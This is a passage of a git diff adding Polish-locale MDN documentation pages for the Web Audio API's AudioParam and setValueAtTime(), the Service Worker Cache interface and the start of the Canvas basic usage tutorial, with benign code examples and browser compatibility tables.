<td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>createStereoPanner()</code></td> + <td>{{CompatChrome(42.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(42.0)}}</td> + </tr> + <tr> + <td><code>onstatechange</code>, <code>state</code>, <code>suspend()</code>, <code>resume()</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>createConstantSource()</code></td> + <td>{{CompatChrome(56.0)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatGeckoMobile(52)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome(56.0)}}</td> + </tr> + <tr> + <td>Unprefixed</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatOperaMobile(43)}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul style="margin-left: 40px;"> + <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li> + <li>{{domxref("OfflineAudioContext")}}</li> +</ul> diff --git a/files/pl/web/api/audioparam/index.html b/files/pl/web/api/audioparam/index.html new file mode 100644 index 0000000000..390e9726f5 --- /dev/null +++ b/files/pl/web/api/audioparam/index.html @@ -0,0 +1,224 @@ +--- +title: AudioParam +slug: Web/API/AudioParam +tags: + - API + - Audio + - AudioParam + - Interface + - NeedsTranslation + - Reference + - TopicStub + - Web Audio API +translation_of: Web/API/AudioParam +--- +<p>{{APIRef("Web Audio API")}}</p> + +<div> +<p>The <code>AudioParam</code> interface represents an audio-related parameter, usually a parameter of an {{domxref("AudioNode")}} (such as {{ domxref("GainNode.gain") }}). An <code>AudioParam</code> can be set to a specific value or a change in value, and can be scheduled to happen at a specific time and following a specific pattern.</p> +</div> + +<p>There are two kinds of <code>AudioParam</code>, <em>a-rate</em> and <em>k-rate</em> parameters:</p> + +<ul> + <li id="a-rate">An <em>a-rate</em> <code>AudioParam</code> takes the current audio parameter value for each <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Audio_buffers.3A_frames.2C_samples_and_channels">sample frame</a> of the audio signal.</li> + <li id="k-rate">A <em>k-rate</em> <code>AudioParam</code> uses the same initial audio parameter value for the whole block processed, that is 128 sample frames.</li> +</ul> + +<p>Each {{domxref("AudioNode")}} defines which of its parameters are <em>a-rate</em> or <em>k-rate</em> in the spec.</p> + +<p>Each <code>AudioParam</code> has a list of events, initially empty, that define when and how values change. When this list is not empty, changes using the <code>AudioParam.value</code> attributes are ignored. This list of events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves. The time used is the one defined in {{domxref("AudioContext.currentTime")}}.</p> + +<h2 id="Properties">Properties</h2> + +<p><code>AudioParam</code><em> Inherits properties from its parent, </em><code>AudioNode</code>.</p> + +<dl> + <dt>{{domxref("AudioParam.defaultValue")}} {{readonlyInline}}</dt> + <dd>Represents the initial volume of the attribute as defined by the specific {{domxref("AudioNode")}} creating the <code>AudioParam</code>.</dd> + <dt>{{domxref("AudioParam.maxValue")}} {{readonlyInline}}</dt> + <dd>Represents the maximum possible value for the parameter's nominal (effective) range. </dd> + <dt>{{domxref("AudioParam.minValue")}} {{readonlyinline}}</dt> + <dd>Represents the minimum possible value for the parameter's nominal (effective) range. </dd> + <dt>{{domxref("AudioParam.value")}}</dt> + <dd>Represents the parameter's current volume as a floating point value; initially set to the value of <code>AudioParam.defaultValue</code>. Though it can be set, any modifications happening while there are automation events scheduled — that is events scheduled using the methods of the <code>AudioParam</code> — are ignored, without raising any exception.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p>AudioParam<em> Inherits methods from its parent, </em><code>AudioNode</code>.</p> + +<dl> + <dt>{{domxref("AudioParam.setValueAtTime()")}}</dt> + <dd>Schedules an instant change to the value of the <code>AudioParam</code> at a precise time, as measured against {{domxref("AudioContext.currentTime")}}. The new value is given in the <code>value</code> parameter.</dd> + <dt>{{domxref("AudioParam.linearRampToValueAtTime()")}}</dt> + <dd>Schedules a gradual linear change in the value of the <code>AudioParam</code>. The change starts at the time specified for the <em>previous</em> event, follows a linear ramp to the new value given in the <code>value</code> parameter, and reaches the new value at the time given in the <code>endTime</code> parameter.</dd> + <dt>{{domxref("AudioParam.exponentialRampToValueAtTime()")}}</dt> + <dd>Schedules a gradual exponential change in the value of the <code>AudioParam</code>. The change starts at the time specified for the <em>previous</em> event, follows an exponential ramp to the new value given in the <code>value</code> parameter, and reaches the new value at the time given in the <code>endTime</code> parameter.</dd> + <dt>{{domxref("AudioParam.setTargetAtTime()")}}</dt> + <dd>Schedules the start of a change to the value of the <code>AudioParam</code>. The change starts at the time specified in <code>startTime</code> and exponentially moves towards the value given by the <code>target</code> parameter. The exponential decay rate is defined by the <code>timeConstant</code> parameter, which is a time measured in seconds.</dd> + <dt>{{domxref("AudioParam.setValueCurveAtTime()")}}</dt> + <dd>Schedules the values of the <code>AudioParam</code> to follow a set of values, defined by the <code>values</code> {{domxref("Float32Array")}} scaled to fit into the given interval, starting at <code>startTime</code>, and having a specific <code>duration</code>.</dd> + <dt>{{domxref("AudioParam.cancelScheduledValues()")}}</dt> + <dd>Cancels all scheduled future changes to the <code>AudioParam</code>.</dd> + <dt>{{domxref("AudioParam.cancelAndHoldAtTime()")}}</dt> + <dd>Cancels all scheduled future changes to the <code>AudioParam</code> but holds its value at a given time until further changes are made using other methods. The new value is given in the <code>value</code> parameter.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<p>First, a basic example showing a {{domxref("GainNode")}} having its <code>gain</code> value set. <code>gain</code> is an example of an a-rate AudioParam, as the value can potentially be set differently for each sample frame of the audio.</p> + +<pre class="brush: js;highlight[5]">var AudioContext = window.AudioContext || window.webkitAudioContext; +var audioCtx = new AudioContext(); + +var gainNode = audioCtx.createGain(); +gainNode.gain.value = 0;</pre> + +<p>Next, an example showing a {{ domxref("BiquadFilterNode") }} having some values set. These are examples of k-rate AudioParam's, as the values are set for the entire audio block at once.</p> + +<pre class="brush: js;highlight[6,7,8]">var AudioContext = window.AudioContext || window.webkitAudioContext; +var audioCtx = new AudioContext(); + +var biquadFilter = audioCtx.createBiquadFilter(); + +biquadFilter.type = "lowshelf"; +biquadFilter.frequency.value = 1000; +biquadFilter.gain.value = 25;</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Web Audio API', '#the-audioparam-interface', 'AudioParam')}}</td> + <td>{{Spec2('Web Audio API')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(14)}} {{property_prefix("webkit")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(23)}}</td> + <td>{{CompatNo}}</td> + <td>15 {{property_prefix("webkit")}}<br> + 22 (unprefixed)</td> + <td>6 {{property_prefix("webkit")}}</td> + </tr> + <tr> + <td>Unprefixed</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>minValue</code> and <code>maxValue</code></td> + <td>{{CompatChrome(52)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>39</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>cancelAndHoldAtTime()</code></td> + <td>{{CompatChrome(57)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatChrome(28)}} {{property_prefix("webkit")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile(25)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>6 {{property_prefix("webkit")}}</td> + </tr> + <tr> + <td>Unprefixed</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>minValue</code> and <code>maxValue</code></td> + <td>{{CompatChrome(52)}}</td> + <td>{{CompatChrome(52)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>39</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>cancelAndHoldAtTime()</code></td> + <td>{{CompatChrome(57)}}</td> + <td>{{CompatChrome(57)}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li> +</ul> diff --git a/files/pl/web/api/audioparam/setvalueattime/index.html b/files/pl/web/api/audioparam/setvalueattime/index.html new file mode 100644 index 0000000000..7d733e7b2b --- /dev/null +++ b/files/pl/web/api/audioparam/setvalueattime/index.html @@ -0,0 +1,182 @@ +--- +title: AudioParam.setValueAtTime() +slug: Web/API/AudioParam/setValueAtTime +tags: + - API + - AudioParam + - Metodă + - Referencja + - Web Audio API + - setValueAtTime +translation_of: Web/API/AudioParam/setValueAtTime +--- +<p>{{ APIRef("Web Audio API") }}</p> + +<div> +<p>Metoda <code>setValueAtTime()</code> interfejsu {{ domxref("AudioParam") }} odpowiada za precyzyjne przyporządkowanie nagłych zmian do wartości {{domxref("AudioParam")}} w określonym czasie względem {{domxref("AudioContext.currentTime")}}. Nowa wartość zostaje podana w wartości parametru.</p> +</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">var AudioParam = AudioParam.setValueAtTime(<em>value</em>, <em>startTime</em>)</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt>value</dt> + <dd>Liczba zmiennoprzecinkowa reprezentująca wartość <code>AudioParam</code> przyporządkuje się do podanego czasu.</dd> + <dt>startTime</dt> + <dd>Zmienna <code>double </code>reprezentująca czas (w sekundach) po {{ domxref("AudioContext") }} została utworzona jako pierwsza, dzięki czemu dochodzi do zmiany wartości. {{jsxref("TypeError")}} zostanie zwrócony, jeśli uzyskana wartość jest negatywna.</dd> +</dl> + +<h3 id="Zwracanie_wartości_funkcji_(return)">Zwracanie wartości funkcji (return)</h3> + +<p>Odnośnik do obiektu <code>AudioParam</code>. W niektórych przeglądarkach wprowadzenie tego interfejsu zaskutkuje zwróceniem pustego typu danych (<code>void</code>).</p> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Ten stosunkowo prosty przykład zawiera źródło mediaelementu z dwiema kontrolkami (sprawdź kod źródłowy poprzez nasze <a href="https://github.com/mdn/audio-param">repo audio-param</a> lub <a href="http://mdn.github.io/audio-param/">zobacz przykład live</a>). Jeśli kontrolki są wciśnięte, zmienna <code>currGain</code> jest inkrementowana/dekrementowana o 0.25. Wówczas metoda <code>setValueAtTime() </code>zostaje użyta do ustawienia wartości przedwzmacniacza (gain) jako równej currGain, jedną sekundę od teraz (audioCtx.currentTime + 1).</p> + +<pre class="brush: js;highlight[32,37]">// utworzenie kontekstu audio +var AudioContext = window.AudioContext || window.webkitAudioContext; +var audioCtx = new AudioContext(); + +// podanie podstawowych zmiennych dla przykładu +var myAudio = document.querySelector('audio'); +var pre = document.querySelector('pre'); +var myScript = document.querySelector('script'); + +pre.innerHTML = myScript.innerHTML; + +var targetAtTimePlus = document.querySelector('.set-target-at-time-plus'); +var targetAtTimeMinus = document.querySelector('.set-target-at-time-minus'); + +// utworzenie MediaElementAudioSourceNode +// wprowadzenie HTMLMediaElement +var source = audioCtx.createMediaElementSource(myAudio); + +// utworzenie parametrów <span class="st">przedwzmacniacz</span>a (gain node) i ustawienie wartości przedwzmacniacza na wartość 0.5 +var gainNode = audioCtx.createGain(); +gainNode.gain.value = 0.5; +var currGain = gainNode.gain.value; + +// podłączenie AudioBufferSourceNode do gainNode +// oraz gainNode do destynacji +source.connect(gainNode); +gainNode.connect(audioCtx.destination); + +// określenie, co ma się wykonać po kliknięciu +targetAtTimePlus.onclick = function() { + currGain += 0.25; + gainNode.gain.setValueAtTime(currGain, audioCtx.currentTime + 1); +} + +targetAtTimeMinus.onclick = function() { + currGain -= 0.25; + gainNode.gain.setValueAtTime(currGain, audioCtx.currentTime + 1); +}</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specifikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('Web Audio API', '#widl-AudioParam-setValueAtTime-void-float-value-double-startTime', 'setValueAtTime')}}</td> + <td>{{Spec2('Web Audio API')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_z_przeglądarkami">Zgodność z przeglądarkami</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>{{CompatChrome(14)}} {{property_prefix("webkit")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>23</td> + <td>{{CompatNo}}</td> + <td>15 {{property_prefix("webkit")}}<br> + 22 (unprefixed)</td> + <td>6 {{property_prefix("webkit")}}</td> + </tr> + <tr> + <td>Bez prefiksu</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td> </td> + <td> </td> + <td> </td> + <td> </td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Android</th> + <th>Android Webview</th> + <th>Edge</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>25</td> + <td>1.2</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>6 {{property_prefix("webkit")}}</td> + <td>{{CompatChrome(28)}} {{property_prefix("webkit")}}</td> + </tr> + <tr> + <td>Bez prefiksu</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td> </td> + <td> </td> + <td> </td> + <td> </td> + <td> </td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Używanie Web Audio API</a></li> +</ul> diff --git a/files/pl/web/api/cache/index.html b/files/pl/web/api/cache/index.html new file mode 100644 index 0000000000..a4c75fd8d0 --- /dev/null +++ b/files/pl/web/api/cache/index.html @@ -0,0 +1,121 @@ +--- +title: Cache +slug: Web/API/Cache +translation_of: Web/API/Cache +--- +<div>{{draft}} {{APIRef("Service Workers API")}}</div> + +<p>Interfejs <code>Cache</code> <a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorkera API</a> reprezentuje magazyn dla par obiektu<code> <a href="http://fetch.spec.whatwg.org/#request">żądania</a></code> oraz obiektu <code><a href="http://fetch.spec.whatwg.org/#request">odpowiedzi</a></code>, które są cache'owane jako część cyklu życia {{domxref("ServiceWorker", "ServiceWorkera")}}. Domena może mieć wielokrotne nazwane obiekty <code>Cache</code>, których zawartość jest pod całkowitą kontrolą service workerów.</p> + +<p>Każdy obiekt <code>Cache</code> jest kolekcją par klucz/wartość. By w pełni zarządzać zawartością cache'ów (by następnie użyć je offline), interfejs ten dostarcza metody w dużej mierze zgodne z obiektem {{jsxref("Map")}}, jednakże wraz z dodatkowymi, poręcznymi metodami.</p> + +<p>Jesteś odpowiedzialny za sposób zarządzania aktualizacjami <code>Cache'u</code> przez {{domxref("ServiceWorker", "ServiceWorkera")}}. Elementy w <code>Cache'u</code> nie są aktualizowane, chyba że jest to wyraźnie zażądane; nie wygasają jeżeli nie usunięte. Użyj {{domxref("CacheStorage.open", "CacheStorage.open(nazwa)")}}, by otworzyć własny, określony obiekt <code>Cache'u</code>, a następnie wywołać jakąkolwiek z jego metod, by nim operować.</p> + +<p>Również do Ciebie należy okresowe opróżnianie wpisów cache'u. Każda przeglądarka ma określony limit powierzchni, który może zostać użyty przez danego service workera. Upewnij się, że opisujesz cache'y poprzez nazwy oraz używasz cache tylko z danej wersji {{domxref("ServiceWorker", "ServiceWorkera")}}, ażeby mogły one bezpiecznie na nich pracować.</p> + +<h2 id="Właściwości">Właściwości</h2> + +<dl> + <dt>{{domxref("Cache.options")}}</dt> + <dd>Opcjonalny parametr przekazywany do metod: {{domxref("Cache.match", "Cache.match(żądanie, opcje)")}}, {{domxref("Cache.add", "Cache.add(żądanie)")}} i {{domxref("Cache.keys", "Cache.keys(żądanie, opcje)")}} z poniższymi atrybutami: <code>ignoreSearch</code>, <code>ignoreMethod</code>, <code>ignoreVary</code>, <code>prefixMatch</code>, <code>cacheName</code>.</dd> +</dl> + +<h2 id="Metody">Metody</h2> + +<dl> + <dt>{{domxref("Cache.match", "Cache.match(żądanie, opcje)")}}</dt> + <dd>Zwraca {{jsxref("Promise")}}, która jest rozwiązywana do pierwszego pasującego żądania w obiekcie {{domxref("Cache", "Cache'u")}}.</dd> + <dt>{{domxref("Cache.add", "Cache.add(żądanie)")}}</dt> + <dd>Zwraca {{jsxref("Promise")}}, która jest rozwiązywana do nowego wpisu {{domxref("Cache", "Cache'u")}}, którego kluczem jest żądanie. Ta metoda nadal jest w trakcie tworzenia (zobacz <a href="http://crbug.com/427652">http://crbug.com/427652</a>). Póki co używaj <a href="https://github.com/coonsta/cache-polyfill">ServiceWorker cache polyfill</a>.</dd> + <dt>{{domxref("Cache.addAll", "Cache.addAll(żądania)")}}</dt> + <dd>Zwraca {{jsxref("Promise")}}, która jest rozwiązywana do nowego szeregu złożonego z wpisów {{domxref("Cache", "Cache'u")}}, którego kluczami są żądania. Metoda ta jest nadal w trakcie tworzenia (zobacz <a href="http://crbug.com/427652">http://crbug.com/427652</a>). Póki co używaj <a href="https://github.com/coonsta/cache-polyfill">ServiceWorker cache polyfill</a>.</dd> + <dt>{{domxref("Cache.put", "Cache.put(żądanie, odpowiedź)")}}</dt> + <dd>Dodaje dodatkowe pary klucz/wartość do aktualnego obiektu {{domxref("Cache")}}.</dd> + <dt>{{domxref("Cache.delete", "Cache.delete(żądanie, opcje)")}}</dt> + <dd>Znajduje wpis {{domxref("Cache", "Cache'u")}}, którego klucz jest żądaniem, jeśli znaleziony, usuwa ten wpis, zwracając następnie {{jsxref("Promise")}}, rozwiązywany do <code>true</code>. Jeśli dany wpis {{domxref("Cache", "Cache'u")}} nie został znaleziony, zwraca <code>false</code>.</dd> + <dt>{{domxref("Cache.keys", "Cache.keys(żądanie, opcje)")}}</dt> + <dd>Zwraca {{jsxref("Promise")}}, który rozwiązuje się do szerego złożonego z kluczów {{domxref("Cache", "Cache'u")}}.</dd> +</dl> + +<p> + </p><h2 id="Specyfikacje">Specyfikacje</h2> +<p></p> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td> + <td>{{Spec2('Service Workers')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Zgodność z przeglądarką</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(40.0)}}</td> + <td>{{CompatGeckoDesktop("33.0")}}</td> + <td>{{CompatNo}}</td> + <td>24</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Warte_uwagi">Warte uwagi</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li> + <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers basic code example</a></li> + <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li> + <li>{{jsxref("Promise")}}</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li> +</ul> diff --git a/files/pl/web/api/canvas_api/tutorial/basic_usage/index.html b/files/pl/web/api/canvas_api/tutorial/basic_usage/index.html new file mode 100644 index 0000000000..ca8bc15570 --- /dev/null +++ b/files/pl/web/api/canvas_api/tutorial/basic_usage/index.html @@ -0,0 +1,169 @@ +--- +title: Podstawowe użycie elementu canvas +slug: Web/API/Canvas_API/Tutorial/Basic_usage +tags: + - Canvas + - Grafika + - HTML + - Płótno + - Sredniozaawansowany + - Tutorial +translation_of: Web/API/Canvas_API/Tutorial/Basic_usage +--- +<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</div> + +<div class="summary"> +<p>Zacznijmy od przyjrzenia się znacznikowi {{HTMLElement("canvas")}} należącego do zbioru elementów {{Glossary("HTML")}}. W tym rozdziale nauczysz się jak ustanowić dwuwymiarowy kontekst płótna, oraz narysujesz swój pierwszy rysunek.</p> +</div> + +<h2 id="Element_<canvas>">Element <code><canvas></code></h2> + +<pre class="brush: html"><canvas id="tutorial" width="150" height="150"></canvas> +</pre> + +<div class="note"> +<p><strong>Uwaga:</strong> W tym tutorialu będziemy używać słowa <u>canvas</u> zamiennie ze słowem <u>płótno</u>.</p> +</div> + +<p>Na pierwszy rzut oka {{HTMLElement("canvas")}} wygląda jak element {{HTMLElement("img")}}, z tą różnicą, że nie posiada on atrybutów <code>src</code> oraz <code>alt</code>. W swojej specyfice element <code><canvas></code> posiada jedynie dwa atrybuty, {{htmlattrxref("width", "canvas")}} oraz {{htmlattrxref("height", "canvas")}}. Nie są one wymagane oraz mogą być ustanowione za pomocą <a href="/en-US/docs/Web/API/HTMLCanvasElement">właściwości</a> {{Glossary("DOM")}}. Jeśli wartości atrybutów <code>width</code> oraz <code>height</code> nie zostaną określone, zostaną użyte domyślne: szerokość - <strong>300 pikseli</strong>, wysokość - <strong>150 pikseli</strong>. Za pomocą {{Glossary("CSS")}} możemy narzucić rozmiar płótna, ale podczas renderowania dokumentu, rysunek zostanie dopasowany do domyślnej wielkości: jeśli wartości określone za pomocą CSS nie będą proporcjonalne z wartościami domyślnymi, rysunek zostanie zniekształcony.</p> + +<div class="note"> +<p><strong>Uwaga:</strong> Jeśli rysunek wydaje się zniekształcony, spróbuj określić atrybuty <code>width</code> oraz <code>height</code> bezpośrednio wewnątrz znacznika <code><canvas></code>, a nie za pomocą CSS.</p> +</div> + +<p><a href="/en-US/docs/Web/HTML/Global_attributes/id"><code>id</code></a> jest <a href="/en-US/docs/Web/HTML/Global_attributes">globalnym atrybutem HTML</a> i można go stosować z każdym elementem HTML (tak samo jak np. <code><a href="/en-US/docs/Web/HTML/Global_attributes/class">class</a></code>). Warto go używać, aby w ten sposób mieć dostęp do elementu z poziomy skryptu.</p> + +<p>Element <code><canvas></code> można stylizować za pomocą CSS tak, jak każdy obraz ({{cssxref("margin")}}, {{cssxref("border")}}, {{cssxref("background")}}…). Z tym, że żadna z reguł CSS nie wpłynie na zawartość płótna. Zobaczymy to w <a href="/pl/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">późniejszym rozdziale</a> tego tutorialu. Jeśli nie określimy inaczej, tło płótna będzie w pełni przezroczyste.</p> + +<div id="section_2"> +<h3 id="Treść_zastępcza">Treść zastępcza</h3> + +<p>Inaczej niż w przypadku {{HTMLElement("img")}}, w elemencie <code><canvas></code> tak samo jak w {{HTMLElement("video")}}, {{HTMLElement("audio")}}, czy {{HTMLElement("picture")}} łatwo jest określić to, co będzie wyświetlane w starszych przeglądarkach albo tych, które jeszcze nie obsługują tego elementu, jak np. Internet Explorer poprzedzający wersję 9 oraz przeglądarki tekstowe.</p> + +<p>Aby zapewnić treść zastępczą wystarczy zagnieździć ją wewnątrz elementu <code><canvas> ... </canvas></code>. Przeglądarki nieobsługujące tego elementu, zignorują rysunek i zamiast tego wyświetlą to, co zagnieździliśmy wewnątrz tegoż elementu. Natomiast przeglądarki obsługujące element <code><canvas></code> wygenerują jego zawartość ignorując przy tym wszystko, co znajduje się wewnątrz tego elementu.</p> + +<div class="note"> +<p><strong>Uwaga:</strong> Gdy mówimy o tym, co znajduje się <strong>w znaczniku</strong> <code><canvas></code>, mamy na myśli jego atrybuty czyli to, co znajduje się pomiędzy znakami <code><</code> oraz <code>></code> (np. <code><canvas class="nazwa-klasy"></code>. Natomiast gdy mówimy o tym, co znajduje się <strong>wewnątrz elementu</strong> <code><canvas></code>, mamy na myśli wszystko, co znajduje się pomiędzy znacznikiem otwierającym <code><canvas></code>, a znacznikiem zamykającym <code></canvas></code> (np. <code><canvas><img src="/canvas.jpg"></canvas></code>). W tym drugim przypadku mówimy o <em>zagnieżdżaniu </em>jednego elementu w drugim.</p> +</div> + +<p>Treść zastępczą może stanowić opis, tego co znajduje się na płótnie lub statyczny obraz wygenerowanej zawartości. Oto przykład:</p> + +<pre class="brush: html"><canvas id="stockGraph" width="150" height="150"> + current stock price: $3.15 + 0.15 +</canvas> + +<canvas id="clock" width="150" height="150"> + <img src="images/clock.png" width="150" height="150" alt=""/> +</canvas> +</pre> + +<p>Umieszczanie tekstu w stylu: <em>Twoja przeglądarka nie obsługuje elementu canvas</em>, nie pomoże czytelnikowi w zrozumieniu treści. Zapewnienie treści zastępczej uczyni <a href="/pl/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">element canvas bardziej dostępnym</a>.</p> + +<h3 id="Wymagany_znacznik_końca_<canvas>">Wymagany znacznik końca <code></canvas></code></h3> + +<p>Z uwagi na sposób w jaki tworzymy treść zastępczą, znacznikowi <code><canvas></code> <strong>musi towarzyszyć</strong> znacznik zamykający <code></canvas></code>. Gdybyśmy go nie wprowadzili, przeglądarka zinterpretowałaby wszystko, co znajduje się po znaczniku otwierającym <code><canvas></code> jako treść zastępczą.</p> + +<p>Jeśli nie decydujemy się, aby zapewnić treść zastępczą, w dalszym ciągu <strong>musimy</strong> użyć znaczników początkowego i końcowego <code><canvas id="foo" ...></canvas></code>, z tą różnicą, że nie będziemy umieszczać niczego wewnątrz tego elementu. Jest to prawidłowy zapis dla przeglądarki, która obsługuje element <code>canvas</code>. Przeglądarki, które go nie obsługują, niczego w tym miejscu nie wyświetlą.</p> + +<h2 id="Kontekst_renderingu">Kontekst renderingu</h2> + +<p>Element {{HTMLElement("canvas")}} tworzy powierzchnię 